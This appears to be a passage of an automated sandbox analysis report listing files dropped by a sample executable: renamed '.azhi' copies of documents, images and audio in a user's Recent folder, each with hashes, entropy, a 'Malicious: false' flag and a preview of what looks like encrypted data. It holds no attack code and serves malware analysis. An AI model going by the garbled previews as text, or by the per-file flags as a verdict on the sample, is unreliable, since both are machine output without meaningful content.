SSDEEP:	24:fv5l3GBPvvxWXoYfTwxf8+QeGXNgH+jrd0VHE5Bn3qaEjVLxAsI3bD:frcnvxgP0hOZ6HErde8ZaaW3CD
MD5:	FE61E4B80610AAEFF84F3E620A21E30E
SHA1:	624A03EB3C9758AEF4847759CB161263CB1E3EDE
SHA-256:	269D417E407582F8A294DD09EA558FC1C80DE4D83DEFA4C140F8CDEF4455A86B
SHA-512:	9A2D3717732DBCAA19902ED2C58D47A77DCF9968A2519C24C342785300C1D579814B04B99E73D66F20422353F3F66FC5982EF0738CE421B364E5DC49D5B3B70B
Malicious:	false
Preview:	ONBQC.:j.q...R..%x.}4.....!..D.M.X...f.v....9..._.X...T...@..~,...:..Y.0....\|4.~\|......g].d......Wd....>.(..aDJ.......-]....al......x...,.W.=....7....../(......j.&M/Z`F.;..a.h....\|I....t.A...+r...u.}d7:...7.[C.>.};.....%.....%T;C.M...5W..R.9mQ...5-.L..]....ja&....m..Q.5X.._e5Ni ....._.V.........&...h,.4............q.!......t.......KW....R.I.\|.7Q...\_g..B.V.....P7..3...u+."c)D......V..euF.6......Q.....ZH..s\|..O@f.......3D..%..AC2O...!;..3d..$.fCW...C..>Y8].>l......9).fLbR....X+.\|...>.'.6.F.N.:....!......U`/........2m.~.r.+....c..aM{....l..<...9.n.f.4.h.sS..c}}..]yg.x..C.'..2,...q.......o..2o.G$6..!h.F'..7&K."...5'..j.k..3(..N.+......c_e.!.zi.N.R~1....GV...{.. ...r>6jn.V......-o..../..X....*.!..\|....k....5..M.....T.........%.=..dH....k.....kQs.#.L..[...>.Z.q9.V;.A.!:.l......G...x$f..@.8..M~.....Tw...K..#oK...t0`.....D..O1!.../[W......>-.....]\{.@..qh~... .........>ag....[ e......],..w.wo.....K..{...i......:...@G..1.....j..Z.^...u;.$-..9.]mL..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842912039930012
Encrypted:	false
SSDEEP:	24:S6SRzr98G/6hrGdm/KvwTf+dXoRyjKAwN1b62wCsm3bHHZHiP/eNx5cBdZWllbD:lStUh6Yeq+to6e1b643bn5iP/eD2ZK1D
MD5:	F96F6D9667C797C9BFE3C62C5873B9AC
SHA1:	8EB5BEF249A32B211BE9E48DB30489BEA7DB13A2
SHA-256:	6412E4C5544CB3F488D6BE5410F34936A38961DE625D4BAD89E42D7EFB674D3D
SHA-512:	7517438ED95EF8406AF8260EF27F7801ACFA6F4EB1626D07CF28D5B810C334D5DDC72C7E6DD6FD5D152D3F5C43822CBF89C5CC157511F60F6037C69B9E666BB6
Malicious:	false
Preview:	ONBQC...-~.R<o.N...I.l2.~.^..h....h.O!2.....SU..B.6C].nE.._....c".d.....z.....b..B5a.B'^T_.yl..UC..&MQ:e.7.'SOmJ[...%...qu.{2.+....m..p.o........:.."...,.>..5.b6p.{..DA.sH^&..."X.......U-.\.L....Y..m.z>.q..k.9...[...n....o...0.2...=3..Y.._...w.......N.d..\.....{l.~.J0k..L.+!.>b>...r....Q...}...!(....@.P>.^b.[%F.CP5qI........I..6Si..vyW........{.-.M.M...0......_....6.....W.).r.W.......b.#{A2..d%[.3...I.......}.R...)...mS..`2J..[.krg.J.N_....9.....$o..]...W....x.....Un.........U........s.....8t..R.....QC.GE.>...,......cS....5p)..w.c^...;....."^N.l..St@./..~..{..n..}g..<.^$.9...."@.z..K,...."4=...$+Ay>]$,.a......Zrd.=.....{..0J.#7..kK]&0..._"..1.iB%.Xr}....v.....L2s.zN..7.mTz....5=....p. {4g.Y.V.~..#..o.A.}....k...1..`.^...)'.f.FS/.f.....0..C.}E...L,3=.K....z5V.:.(......G..^.>U.i.{m'.t= $k..vK~.:..Y...U.).)".I.+.N.._._.p..".b.xp........2.......@..jp.0..Lz{..Us.LJ..*...V!...'..m.WV..du.U..b.gzg..:.)^..R?..M...W...T.G;.m...O...S9.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82138590012865
Encrypted:	false
SSDEEP:	24:XNU/w3ErhkzFqxrqbrQEyw/iD5O/zYjmewm+PBR7k57ES8sj3DkSDObD:dU/w30UbxfqyYKm+pJkVES8W3QfD
MD5:	E40165A87250328D210E348E518D1737
SHA1:	8EB81AB771A6280D280A9E225738B037DBAF199A
SHA-256:	490BB6F1BCB173BE88D78E43B97BF512D9E0497A6297B79D11B494EF12201886
SHA-512:	B8C3C6E5ECCAC419E0B4986C0926236796F1DE9C88BE0453A4A671EA2074EC2B823524DF2B82F0A27EEE436657EB331F1DC0905C3D51AF6CEE1D4FF5781E3133
Malicious:	false
Preview:	PIVFA..!..Q.....c@..NM..#._zU.F6.%qk...fOb..7.(.tW...V...h{...f. -.F.H..-.....H..D...7D[E..[.Xj.3..QB\.......)-.t.0...{...L.m.....f}Fz...B...`)5.N....?.{).!GQ.../'..y....'.......fuZ...i..p.D...)W.7....pp.......\.......!...........Q..v..;![.\.,.4v..O.........zn=/..v8.Zp....._.S.P!"O.^....F((9....I"...r...x...$.e...E=.....+!....w<B'.#.F.U..a.4...*p.:?_I...&....,.<.2..T..-.`...d....n.d..g...O.......}......#..Me..{......{...jS...<=m.&gw.'V..{1.-.....Ql....m9.x.Z7}9_...4$.:.?.mQ..>EG.....V...D..k.../.QF.....H.'I.._....2....n.C..E..t.xa.&..f[_M~,.c9..a..U.nz.hh...{...Z.l.9o...W..1..'..@.75.'.Jqu..H..0.O......z\|.)z..w1.D.8..B..s.1#.e....`...n.[\.d......#\L.!.....nKL.......H>.E..F[7C..%#UF.].r..g;"$.d....3/%.@..X...o.....J.xt0Z.aL..BOh....+,.[...4C.O.5L...j....)...j.FF.O..8..>^'.S?.c....l5.......Bx......V,pL.x....5b;N\|Mo".....q..&...F%.S..F\^....r.dp..~....%sI..llP.^.&e)...7a.!~.5..c...B.<..P.]..V...O.....X....@V.>D.....y.....]..)...W...=....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8712149527523705
Encrypted:	false
SSDEEP:	24:L/0GWUNtL40MCqCbDfO1oFOK5o7cSGKYGseyKZrQZ7GvbD:oUNt80PqCbiDKmGKYGtyKgyzD
MD5:	DCB4C8C4256777B8E5A2C2D550A3E77C
SHA1:	E04F8FC0850D4750FB48ED29B77996757325CB5F
SHA-256:	7ECAD2E8C6630C87033E3B152E2D49F1F4B8078FC76CE6998E99F8E81FF08068
SHA-512:	AB5CA49B6C76EA343EB6ED5885367EED4EF858AC7927F813EA405C7D25FF8CDFB7696B9FEE720E2C87E7579F3D4E7069DBAEFA7D659E42AC2EADABDE7E5594A4
Malicious:	false
Preview:	PIVFA..@...an..%...f.a.82X.}R....>....g.NB..km...a.Z.\|#..q...x.R.(......U..;.{.....xv.r.nF-..t.p..z:#.O...s......:..M.~7..t5(.<....5{...=S8. .O...:i0.v.:.....]..........h.D%..(e.wR:..6....t%.`....+x..f....]..s.^...D.<...O[F.)..~..].\....(.5.~y..u....u...V.;..*u...P6m..A.g.0.?..o,%A....c..Z...........H....'.....y...O.......YK.....^...(...~&.LS.7.'..HZ..h.d..)k).B.>y......1r.n;...9a.%..!..^f..7.7Q.p..z..9......S.})X........B:p...J...].W...2.{.L......5.q.H{,xR.......}..v\|..x.....K..........u>.~....`..#....S..WK.).P..=.....lh...%b...5.qW...x.sT\|aF.}IZl../.P0.Y.0..X.$]S..p.@..v.).T..S...t..We..E.-&...o.%9..3l..8.....[w.{F...9.zl..D...5.>...y....">2...!a..@.gL.Y\..h...&]y...D$..9E......X.$...7.j....w,....bah>!.....5).-.............e..f,.Nso..Y........)..i8.6.tW%7.8.....}...J...'...".....:.@....@.$;.V...?.bUl....r.....+0..N5Q%...J....L..r..<...:.2U...........]UBw..>.h~f&....B..>.......`.8...$......_Tz.t..)..;Q}G..R.....Mp/3r...8C.c...\.t...!....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83266948412714
Encrypted:	false
SSDEEP:	24:7btH5qAhLNwJJgcj1DqRaFwUAHqv4kHnozuDCNM/RD2cs81XxZRbD:7JH0AhSJJgcRDqRIw9HqvLnEfNEScs87
MD5:	CFBE0C4E5E4A359479582F1AE0C39370
SHA1:	F85D9B28141C5556E6CA87BE91A0E4C56E0FA821
SHA-256:	94CA5C2F5A500E455FBAD8841E5CD9FDE2F3994F34A18C531E4DF23681B12F94
SHA-512:	65B9FB602DF2442CFE3192684C7A078F8D372FCB0181F77EBC5044AC6AE05F80FC26DF94B0BD3CF68A4336ED850222D68972E048D2E4750CB9D89E841426B427
Malicious:	false
Preview:	PIVFA..l..Y....r..XC..]......2.R.%.0..A..d3..h@z}/J....v...z....`..i..8.T.R..o.<6>P....?.......i..T.........S......O........{x....h.3L=.K_fIv..UUhOa.\|....q.3!..OOl.2'tb=.)+.6..\|....\adf3\|Cg.t".5.0.........,."Z....4b...........'....M..d.S.+..z]C..c...O.k .....F^..u.u:E......G.F..F.7.....e.z.0.....wT..k.D..[.W...T.<p>...[~=vkB....A.....8...y..%....CN...z......D6..9......4...}^..........A<F./..?.=.......!...#.........5R....b...g...M$.M/7U.Qs.........Zd.......7..^.t...{..S].TXo..[.....N....w..{CA...n....ni...16...zEBG..E.l...>#.i&...T#'.7..<..i.D....J$s...(...%Z.P...aq.ad9.K.{.....L...i.L...{.K.H.x."..;.M'...S<w.`/m0X...2.C..s...1.!.{....r*F..a<...s./.s....o....TP;.4.o:._.....(k+.r..K..}K..6....6....,.B.`.!Uw..........\X....=.UDrg.~.....N...P..(.Z..._"..d.gd...I.^[.."..0..w....U.#..U.._......E.?6'....F.R%.E..;.lA...[....+k<..Z.......5....Q.xt.P.(...\|.W...2...c...y.Zm......,..=f}....@Lw..S..Q!n..G..C.....Z{V<.x-q..?.)y@........./:

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858559673122311
Encrypted:	false
SSDEEP:	24:9RxI8Rr7r50GnHa0VkoDnV+FiI0Q8pLEsBIQsxerDnecfm4JdebD:BXrh/a6ko7V+FiI0Q4wlQgeHu40D
MD5:	BEDCBE2090A96856D56FA05581485518
SHA1:	618C1B436C79DEAF0B8F210D7830B2870BB6EF60
SHA-256:	69ED770B85A13313F73BBC12691FF1024B6DD9A381675BC6995B280EE18925D2
SHA-512:	6CF2ED5FD20DCEC176C3BE6C0311C5E20A5B4681C6419C08E4E2DB3A4AE5C5CC11BBF9E1CCA9AA73691D79D8F444B56B1253D15DA71C9CC4CA5BAF2B36EBCE01
Malicious:	false
Preview:	QCOIL.;K..}.~....s.. .JVwB.".u..^`.)I..hI.B.meq......e(o,.....s......&.$w.` .;.J.......r.n..o?..F...."..xOzI.._j.x....A..C........8.7.C..Y..^U......;D...o-....Dx....ScH.<oB.l.........~...Z.....2mY[\..;Ql%xg5."!... ...w\...e..".V#..T......p...ri......\J^.Z/.h^!..:.'...q~..z.t+..3I[!...................K..D.c....m....A.x.....A.....q..........g..3,.o."V6...]+./...\..u.+..?..g]..@..2....k.36h.K.+q....3..NY.-(gi.?....2.z.Fs..F@(?.)Of..5...ar..~@..<Z.a...>......r...1..&...A5t........J..,..q.....#.h.......@..]i.....K-X..2.s..1.e.$.]p..W'...r...C..N@..b...T...wnG_..B-^[.{.~.........G. tc.......zx..h>u.%..S.).a..62...W.....U.E.`-1~Zv...G.....i....gpL.`...$.$Z..^.8....S..g..2\.c!z......../..dOH.4..7.4.....(...w9.p.... ......F....L.+....K.....^....h..4.A....,.z..n.}.q...C3..(.NTh$.X.4...M}......pU?\|....5k....T....].c.e.g.F.....W...`F..dB*.Z.f.A!.#H...t...n`U..[%.:(O,.8=.>i......Q....ObZ.~..].3..z....t^...M..D......1..+...U.....r..

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873763180350063
Encrypted:	false
SSDEEP:	24:ZjlqH7/teGJj5lUzw4i0oQ5l8P8o9vO2VLp392Oqrky8ahdmDKUUIl/bD:5lqbtXjQhhl8kos81oOKjMJjD
MD5:	8812471B30B8F4C69FEB087B40DBC0C8
SHA1:	7959492650EEEE527E87EC4B57634D22C8BED8DF
SHA-256:	9506AA173A2C5A249C4A3560524F9D3CF53506B90A28F2195A924AA7423FB061
SHA-512:	91C458B3927E1215AD6A1B8924AB5F1EA049944B1A64190C5C3B365562D48277FD99E7432D41CB7B61A7437F4FEB515A43AD706B48DD3BDEB32A1DD5C6FA8C8C
Malicious:	false
Preview:	QCOIL.w.&Pcw.h7;.....N;w.J.;YC.......<N.......k.....0l..E.....#e..R..]..q~.$./...)..~.6..^N..h..ORW....rf!g&2K..f.%.^`."/,..+!......s2z...C.R.Ugp..}...kB....lG.U/.s.C...NJ.w>MLCM.H.3...M...e.<.KPs.z./BTv...x@`6[.+.e......(...,.W.m3......._>c... &..........-.$.A.....'.......Le0(0..S.y.Y.a..u..P..Ihl3.K.g.T.....a,}...._<.A....G._.aV.:.K.D..u'.......(...HJP.@.m.=...i...?M..\...-.)(......-.7.....>Z.....#E.....Jp.S../l..Cf{e..M.$%....B.BT..P4.9.#?..$.3.'>L+!..&........4`....DK...X}2'........W..........,'.....q..y.t.t...U.5^7.-.....t.n..=.s.>.5.:.ps..G..jb...S-...)............;q.$O..x...[oRh.......x.<t......I4$%.}..u$9. .]...n.......kYN.....vz.>..Y.....V.<..H1...S......!..R';r..W.y.Jkd.....Q......T..........KS.z...].....x.@z?.A.&....=i....QT.UQ.L.h....iAA.?[.....s..Ve/......(4..Z5K..z.0.......e..uW..>.!..^.....{\.....k...H..I...r....;...}..._..OK....y.R../.....$..R..-.......>.>V{.N<ft/."...z.40w.Y.5...j...K.q..e..r.b./.S..XU....

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859258564195594
Encrypted:	false
SSDEEP:	24:QKO30TMtc4SeZnQT2hQmGTo/siXqQwR1gMRPSiIsWlci8drGfIX8bD:3tTM2VeZQTAQvT8fXqxR1g5iIlloGzD
MD5:	94840F2FF973E88A526A5A0B2EB218B5
SHA1:	CB6FDAFDDDF8B8265429DFA4F08F3E223B9C5793
SHA-256:	F16314F557C1F81F5FAC5CD59AB74754BA2070AAA727D42963F427B50FE37AC8
SHA-512:	E31719C54E4EEACBDA6E5CD1CB75D5C1E84C9848722C73AB6CBF3D3476309E172D83D51033AE7F9C2E847547A06B1DB15CBC073D761F49ED0554B7219EC42CA6
Malicious:	false
Preview:	QCOIL.N.....c..o.1..o..U.^..X..h.<?......j....bW..@0..n`LB(.....#...c.t.Wy.Z.V`i.....;P.T.......j-..D..S~.......<...`.h0d..5.a.u(}"..>...S.+..s\ijC..js.....tM.h.GZ.H.S...u.~..p.AQ......'Y.........z.}.x...+.J..\|.<..t...<.q.QY. ....T f.z.YF......D..lh...9...GH.P..sc..I5..?....8".X?.#........t..!..J.4.]$}^=.,=..........].._r..D~`..)w.L..E...yl.X...9..D.$.'$..;./......]7b...E>.g.f@.D.6..^<........W#.6-D.U.B..L<.d......w...2.5^..%'..8W.^....Cg..d...9]...!....w..\|K.&,.G..e.^B#O...\|.//..!(=._.q\y.Sz.~...o.I_...S.J..cc...U.4..Z......ca....h5.DR.........w-....8.)....%......~n.~U.^.v....gd.o....u........C... 3w..l...t..c&BOE.......re...;PqN.ok...V2c/.....=3N..+..x5.....w.y..#yj......x..#.O..w..2.\|.-ESz..,...wb.<)..Q..I...i...b.P'...l?......p.O...PR...n.!...eaY.a...1..E..(..m.....:.J.)..D..........k..gb.mS...2I&..0..1.%'.p./$5.9...[...C..#....83...1N..,.W-wY`.QS.......i.5.}..(.4 ....6."q..`@..Y).gz})@...'...SZ....r1u..e...u.......<n........

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832233954734973
Encrypted:	false
SSDEEP:	24:vRtktk2MIXupGDyvpN3OFTlF3vgEr30/6NJW/BTWuUupm4WG/PFFofGURbD:KMIX6RNYTlFge30/Sk/ByRupm4FPIfVp
MD5:	BF0338783F873D9B756A215B55C74894
SHA1:	E77F0CC589E3A617D03CA2B3A564EA209233CB17
SHA-256:	A1835200CCB7DBB982028140E5838F8327ABB682DB23934495D7E7C66B206002
SHA-512:	8940CD6000A82EE28B6DCFC75A5FA2C22B576F366CEB4FB107484EAC4F88C553FDF30E00375C18EE5E435D44D811F5C95324205C61FFD9FE5769D86EAC7E2F41
Malicious:	false
Preview:	UMMBD.0.4...7...z'.%]....bO\|..i../.....B.D.(nT-......CrL.t.`$...}.I..cs.I.1.+G...3c..f.....%......A.o..&..1...B,.5....icu.....i.Kq..bQ6.y..M..#'d.b. ...v.B....fh.]..x[Q'..........3f.^..h:......y..N.,N1...c.....pE...N.].zWK.!Uo3d.R.K.D.....i4.J.j..;U..rT_.1v....;j......v../..O?J.ck_.tL....n.F...2.m./....-..D.S..C..~=rT\...b....qS..P...o........"&M.\|...2m.8.../....^[...c..9N2.....e.....y...4P\..&.3.....;.D!..a..}d..&j..o...;..X.$...I..%;.F...2x.....s.......4..[.Y..\\...._.Y..9..X.a....4#g..rJ.t.#../,.a...D...K0..+...}..SRK;E+}F\|F....Ms?...b..6...r.o........c..1...D..n..)..Y/...jTN.D....$.C..A.[[7;m.4l{..?..)..\|..rt+XU...jl..$.'1.,.iT.....lX...P`3.6eO."..R..s.G2\.P.L.....F.'#...sL...r./...G..#.r..r..{.".G..t9Hux.^..?....Z.!...!.g72V.cb.}.E)..m...Bs.a.....j.91P....F...F./.m...6.99.....TVu.....=..o...T...>.b..=F....!E.9\h..K_.........%aw*!..wI....HI.U?en.Z.....[;e..JY...b.4...)9u.. Hh.%.,.B`..DD..w...G......P.........../]\|N.<.M.i2....".Pr..&

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8446383190481255
Encrypted:	false
SSDEEP:	24:uz/wcYFBomp/jIQhRqu8spF7oK09QavLAw4vkJ+RqenJNUzBRubD:uz/3hmp8Qhci7dGjLy+0qenfFD
MD5:	9DA48AF99C32C5F18AF8CA2773D60D95
SHA1:	4BB58D9C15A6BC98712C6A297396F70A8BA1D56F
SHA-256:	65A8F7B780992727E1836B2612C04A870C5597359E147844538EEDFC6F0FC036
SHA-512:	658311EAE56E0351404707E0889AEE9F8589FAD89E55BB6A9F25F0BDFB33B250236E435DFFBED88338D4D494CA01AE6910272C421B5EEE9F17E403DA11902856
Malicious:	false
Preview:	UMMBD....@.4....;.<,k...g=....[.B.C\|u...ND...:.5..v........q.,4.6.......h..".....d..........h-`..}....dh..}...;E.>\..!..8@(....]...FRw.2c.5...S.U......9OV....K.. .IuL.r+.1..S* U..I..>c/.....Uc....C....._X).c<..Q..].w.4'..?.+1-.5.%9...H.t.u...;s.p.<./.?...V.;L........n.,.....b..s.>(.m.8,L....U.In.#a.[......s....p.!(.....W.........beLR..2....\|..Zr..e.v%Tl....A...<U2N...VL8f..r.W...L.....e..1k{.oDY....../0.,.q_C....2Qy.{bLh.`$3.O7_9.....#..h..Y.;.bjf...W..G.q.b.+c.Udb.B.*<.-....R......'.....\C.e..s>.pR.Z6...1....X....F..\..)V.h..........Z.d.. .4.5=.hf....._..e..... ..'.{...>p.`o.EUB/..]CB[Q...D....5^].@-.'.A4.$..l.....5.e..O.u....C.$.(..j.l..gV..=)._..!....MI-Qpt).-..............F..81\|.Q.M...2..............G....v.KD<p....,..NW.#p.....<..n..,Mq.I..o{v..l.X.y'<K.6K..k."...ge.g..d)B...C.}..y..(....J.4.......`Z.e....9F...GH..=..W.Z.nAx...Bp........<.3w.(...2.dn[Q.\|...)...[..-.d...C&@...Z.}...H...C.Yw....E.H=.!.-.v..a.:S..u.O"6.t'j..jpJ..l.

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83210771112582
Encrypted:	false
SSDEEP:	24:JtmJLGlf0UpgJ7C9R7OQMs0d5YixAh7hpqqQBNIoFCibD:fmJLG10bJGXCQ03Y/RhpXyP/D
MD5:	1A0D857E043475D0E663FF4FAD43495C
SHA1:	BB3CC48F1B45673F4B1938CD8702DE1CE0244158
SHA-256:	4A7CE2709168ED70FC01444E7423D8B9E397B4F5CA5ED46EB478DB4AE3142A36
SHA-512:	299D71799E70BE2DA9F2EBD4D5E74DE85D3FC4E1E527D6CBD3C7CEAC7AF48F63A5D19B295781D47502E7D06A8E1020BC4E580E60EB5DA1AB148965DADAD719C0
Malicious:	false
Preview:	UMMBD...d$.gw^A.0.O.c..[..........R.D.....G6...H....w..`#..2..g)..T^.c...z.1.I...)S.%.....T.w....X.7<......k.....GP.-.S...<P..Kj..x..0X.5.f..8D ..@F.@.[.....cD.L........:!....,..l(.FaA.<......l$..D..<..e.\........0?d../..._..6.i.M....#..F..V.../.L)^..=..(at.....\|D\|.N.!.....3.h...(..Lh...!.....Y....."=.>\|.D..P`.e9W....)c....Jt....%...%mN.d.w]\|..D...c..,.0...Y.7....<`HA'g....[/\|..BD.....b1c/a.cB....aEf.K...8..hp.7q...x.0.5.`....B...Wq.....!.R&h.mi.O........._.j.[..,.I....&.&....$0.6.j..W..f60`YH.!....L...^.<)...Ed..E....../..W....2kQ...@3NH.4.....s%.$....K.`......QN..K....z.L0>..z..DT.<...B..7..J6...u..T....r..I.....[9...${..\|.~l....3..g...@..m.#.8.^..3..a0.<...2..\|.....k.3.3!..}..pf./..'Me..4.Mtq.B\i...2m..R.K..Q+%H.\|.!#..T.C7GA.,..@.\|#aX........R....ng..Gn>.1EY....9.......y.z.%..V.S...B....7..J..qv.Z..,[BO.\|....n>.....Y...d.l\|.!...m.........).M...U..........:..\|.....O..+I.E..9.jh/.Qp.1...U.b./..~6x.M..d...Z..N...?.........Cg....

C:\Users\user\Application Data\Microsoft\Windows\Recent\UOOJJOZIRH.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855145135052447
Encrypted:	false
SSDEEP:	24:EIFQJIGkXweep/OLHr6YgCNNn947DPraJGC8a47dG5bD:EIGU83CNNn9477rBn05D
MD5:	E1ACDA676E2D57D1660F6DD86126AAF6
SHA1:	591B3DFB5E0FD7A162E7C42DE18AD74A08FB889A
SHA-256:	42ED392104C38543D761F99CFDEC5B46A47842CA5369DC33F75318030E885B5E
SHA-512:	A742C4F300BE2CA25DD41DF314C8C48E58C0C3147B1C492A69C4436CB9C7B947A02AF3EA75491FE77869EF6062DBC3E85894903AF8ED18163DB0471B60571E73
Malicious:	false
Preview:	UOOJJ...@..N;..^e)D......bO...~......M.e...........9.D. ....A...HR.N.....Y...{\|.......(.....C.,..C#.-..V..^ZdB....3....G!.e.....YM.x....e:..8.f.t.....K.....MD^.0t.V.c}l;].8........yU5.1.-P.d%..A}..._....2....1n.yy......<........P......J4iT+..k..........e...j...._.M.D4...._..~.\|.....O...G/.m..;..f.FE{4..<..,T.1..TjF{.."....K.+c..S.U.W...1.....2..........R&Y....x...0...(4.oc{....k..#...5..1..-.V.r.B.T...x#e+..1.A.....K../.^...]..X..G.a.-...4.=B).mdRfm...k...I...!....wiKT...0..VHb4a.?h&...3...kW..7.j.d.g7g.\P.(Z....3.:..u.....Q....W..S..9..X.],..R.I.2e@..WmY..@.e...^B...`....[.v...C.\{a..3.-..\|....2..\..-<K...'d.J....==...Sx..b.....O..^....{..h.]......>.&...5.P..........E.;..o......f"...$...P5f.Tu.O..\|D.Ek....2..5(.......9ul.....(..9..N5..0..w..._.<.. .........^...8q.>...N}.^sr...(.)%.f..~.w...<..../).2w....<...T.2.=8...z.U....A4[....&.[....<.f..$M!..z...K./...1.`t......1.(XG..EAt.bL.2;..E..q.B\|..Z.eA..O.....F.+I...aT...(.".".

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847491274423094
Encrypted:	false
SSDEEP:	24:Ex+o741BeabCvJ3fuCPiBVK5b2tsk90u5W7f2RcoboTrbHuwsoQx6bD:Ex+nn+vtpiB85+993A+RcvrbOwsorD
MD5:	80134C4042DC9315403A5AD199158B6C
SHA1:	CA80527176A34C134D56C784447C92C3C123124E
SHA-256:	B0C993FB448DE3C23FA6EC475B84DC259EFF10EED6D73D6C9C9073A990F8E13F
SHA-512:	DDBE72D97998134FB10B832EB46FAD5989B9EFE475AF7A6B61F9A37D189796FF3AF6DA152EDC4119E8EEE6485AD5EFFB313AE5432E8446FD484538DCCF4B3468
Malicious:	false
Preview:	VLZDG.n.z..jY......(..,...6.........W.q+,.....`zM.k`$.}..x}.v.K...........Vl..H...4.X..f<3.).........p....u.....=.D...}.b.R....Tr....V.../6...tEh..>..X..M.Q'8.)v..2...p.b...6..B..m_.:...YW.4t6.O.....M.....^r.R..%..{..F..s`...?.:..Z....3.q3...&4.f....Q.......S......n....XE"..{.X.[.~....T2.....e...e1(..<_X..A...=........%.C..W.=A.S.........4<7..G.srC.n..g...zUaE..I...(z,..+..@...&.....!.%.+A..X#F.d..A.E.UG].....]..kH.....P.f.?...]}.r..S..v.k..........6.p9...]@......-p.\|!.Q.Q..{......F{.q.J...F]...n....R...3#.]...B...{...-.NN\..+#..I.=g..}..`JTF/i..Lako....".:..J....Gx.`T.....W..P.$#.3.....8..'..-..%.P..T=.h...a)@3.h..[..'tV6cm.K.R.U.#D$.9.@h..E....C+Y{.O."/j e-x...]H.;q0AG.......R.i..m9........>'.V...FQ.n...i..;h.$$.c]P.~._P.>..sf6^._..\.<...D..A..q.ZZ.ii.m8qX&.X.H.J...Q....)...e....G..}R.6..K...R...x..>..>.\|..").r.K....U...{....6%.....@..4...J.0..........O..l...UvI.9Bo..Y9.g...-..h...N.6.r..,.,wsF..{..h...Dr...9t.o.]...M.......j........;7.<Z..

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838557277189604
Encrypted:	false
SSDEEP:	24:BTOFkefeASSZmQtBCHua3awMjQXuJYJsUjmToB3ALLIGqoHe7ZL/9z9mbD:5OFkh+mMguLzNYXBhgqo+FLl90D
MD5:	B0488E52BC77019179C955719E686EA7
SHA1:	B8E4315E8F1D0D9861F08140E27AF55E2693483A
SHA-256:	46C24017B5D68A01925897DAD76AD1705546124112D4B52ADD7BED39A9B57134
SHA-512:	75A257E97DB81B956EF7C2F5CAB735BE3CAF309217FF5800EF6B73FD9F02B52533DCE07C2989C7F2A8C0026680AA147F6997F8335E93D91C2CA602AA4E2D6FBF
Malicious:	false
Preview:	VLZDG....yV........!"\|B$..B+A...ti...Hb"..s.U\|d.,.. G....mO..-.f.]<...s.........ry.&\?...:_.b..\]...kM.c........N.g.\|.."...=U.y...!...{Kl.R..Va...!]{..BP.......iqQ..B........JN..\.;P.on....Z...>....u.$H.'..oy..&...^..i.....D..R..$X.._...Q...v.U.......,^.....j..D[F...r...r...&......l...u.I}..1.....Z.Z.......?....En...3_...(ACE....2...i;.<.U...c......o.6...N...V....B.9.y.?....j....!.O.....`..]C.n.7Aa.)..^.8...5V.n>y..M.ABF.J...D.-5...mqO.g.Y..8Q.w}A...Xa...s..)Y....lii......)...\|...OL,XS...iB/.q6/.6c......l..o":..r...-...4.j1...r..o.Q3 .a6......b...5%..E..[.).}.y1R.u...g...$DX..=(.+....pF!.... ...}I9].,*9.....YJ....\|...9..J...#.3.u....MEHC.AoD.6[....0C.d&..TK.."5\pW..kW.M..G.Gv..eR....6.a.z\|.8\B....P....Y......~.#......(V.Y........g..iG.?.\|...........(b....o.zN0....U. '..(OBV.L#vg....,.Ss.X9u. `!)`T......a.....N.3.\.2.].bZ6....nK.=.R..J..q}......l..!.4...c..G>......J...r.~. .eJ1b.I.......S.7...!w.....$....F.....e..}.....9..3..O3....`

C:\Users\user\Application Data\Microsoft\Windows\Recent\WKXEWIOTXI.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
